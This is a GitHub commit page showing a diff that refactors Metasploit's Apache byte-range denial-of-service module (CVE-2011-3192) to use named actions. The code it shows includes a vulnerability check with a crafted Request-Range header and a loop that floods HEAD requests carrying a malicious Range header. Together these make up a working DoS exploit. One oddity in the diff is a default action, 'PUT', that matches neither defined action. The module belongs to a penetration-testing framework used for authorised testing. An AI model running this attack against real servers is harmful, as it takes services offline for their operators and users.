Skip to content

Commit 7e28a4d

Browse files
committed
Uses "ACTIONS" keys instead of datastore options
It's better to use ACTIONS instead of datastore in this case. Also, did some cleanup.
1 parent 1714fa2 commit 7e28a4d

File tree

1 file changed

+36
-35
lines changed

1 file changed

+36
-35
lines changed

modules/auxiliary/dos/http/apache_range_dos.rb

Lines changed: 36 additions & 35 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,3 @@
1-
##
2-
# $Id$
3-
##
4-
51
##
62
# This file is part of the Metasploit Framework and may be subject to
73
# redistribution and commercial restrictions. Please see the Metasploit
@@ -35,68 +31,71 @@ def initialize(info = {})
3531
'Markus Neis <markus.neis[at]gmail.com>' # check for vulnerability
3632
],
3733
'License' => MSF_LICENSE,
38-
'Version' => '$Revision$',
34+
'Actions' =>
35+
[
36+
['DOS'],
37+
['CHECK']
38+
],
39+
'DefaultAction' => 'PUT',
3940
'References' =>
4041
[
4142
[ 'BID', '49303'],
4243
[ 'CVE', '2011-3192'],
4344
[ 'EDB', '17696'],
4445
[ 'OSVDB', '74721' ],
4546
],
46-
'DisclosureDate' => 'Aug 19 2011',
47+
'DisclosureDate' => 'Aug 19 2011'
4748
))
4849

4950
register_options(
5051
[
5152
Opt::RPORT(80),
5253
OptString.new('URI', [ true, "The request URI", '/']),
53-
OptInt.new('RLIMIT', [ true, "Number of requests to send",50]),
54-
OptEnum.new('ACTION', [true, "DOS or CHECK", "DOS",["DOS","CHECK"]])
54+
OptInt.new('RLIMIT', [ true, "Number of requests to send",50])
5555
], self.class)
5656
end
5757

5858
def run_host(ip)
5959

60-
case datastore['action']
60+
case action.name
61+
when 'DOS'
62+
conduct_dos()
6163

62-
when 'DOS'
63-
conduct_dos()
64-
65-
when 'CHECK'
66-
check_for_dos()
64+
when 'CHECK'
65+
check_for_dos()
6766
end
6867

6968
end
7069

7170
def check_for_dos()
7271
path = datastore['URI']
73-
begin
74-
res = send_request_cgi({
75-
'uri' => path,
76-
'method' => 'HEAD',
77-
'headers' => { "HOST" => "Localhost", "Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"} })
78-
79-
if (res and res.code == 206)
80-
print_status("Response was #{res.code}")
81-
print_status("Found Byte-Range Header DOS at #{path}")
82-
72+
begin
73+
res = send_request_cgi({
74+
'uri' => path,
75+
'method' => 'HEAD',
76+
'headers' => {
77+
"HOST" => "Localhost",
78+
"Request-Range" => "bytes=5-0,1-1,2-2,3-3,4-4,5-5,6-6,7-7,8-8,9-9,10-10"
79+
}
80+
})
81+
82+
if (res and res.code == 206)
83+
print_status("Response was #{res.code}")
84+
print_status("Found Byte-Range Header DOS at #{path}")
8385

8486
report_note(
8587
:host => rhost,
8688
:port => rport,
8789
:data => "Apache Byte-Range DOS at #{path}"
8890
)
8991

90-
else
91-
print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
92-
93-
end
92+
else
93+
print_status("#{rhost} doesn't seem to be vulnerable at #{path}")
94+
end
9495

9596
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
9697
rescue ::Timeout::Error, ::Errno::EPIPE
97-
end
98-
99-
98+
end
10099
end
101100

102101

@@ -111,10 +110,12 @@ def conduct_dos()
111110
begin
112111
print_status("Sending DoS packet #{x} to #{rhost}:#{rport}")
113112
res = send_request_cgi({
114-
'uri' => uri,
115-
'method' => 'HEAD',
116-
'headers' => { "HOST" => rhost,
117-
"Range" => "bytes=0-#{ranges}"}},1)
113+
'uri' => uri,
114+
'method' => 'HEAD',
115+
'headers' => {
116+
"HOST" => rhost,
117+
"Range" => "bytes=0-#{ranges}"}},1)
118+
118119
rescue ::Rex::ConnectionRefused
119120
print_status("Unable to connect to #{rhost}:#{rport}.")
120121
rescue ::Errno::ECONNRESET

0 commit comments

Comments
 (0)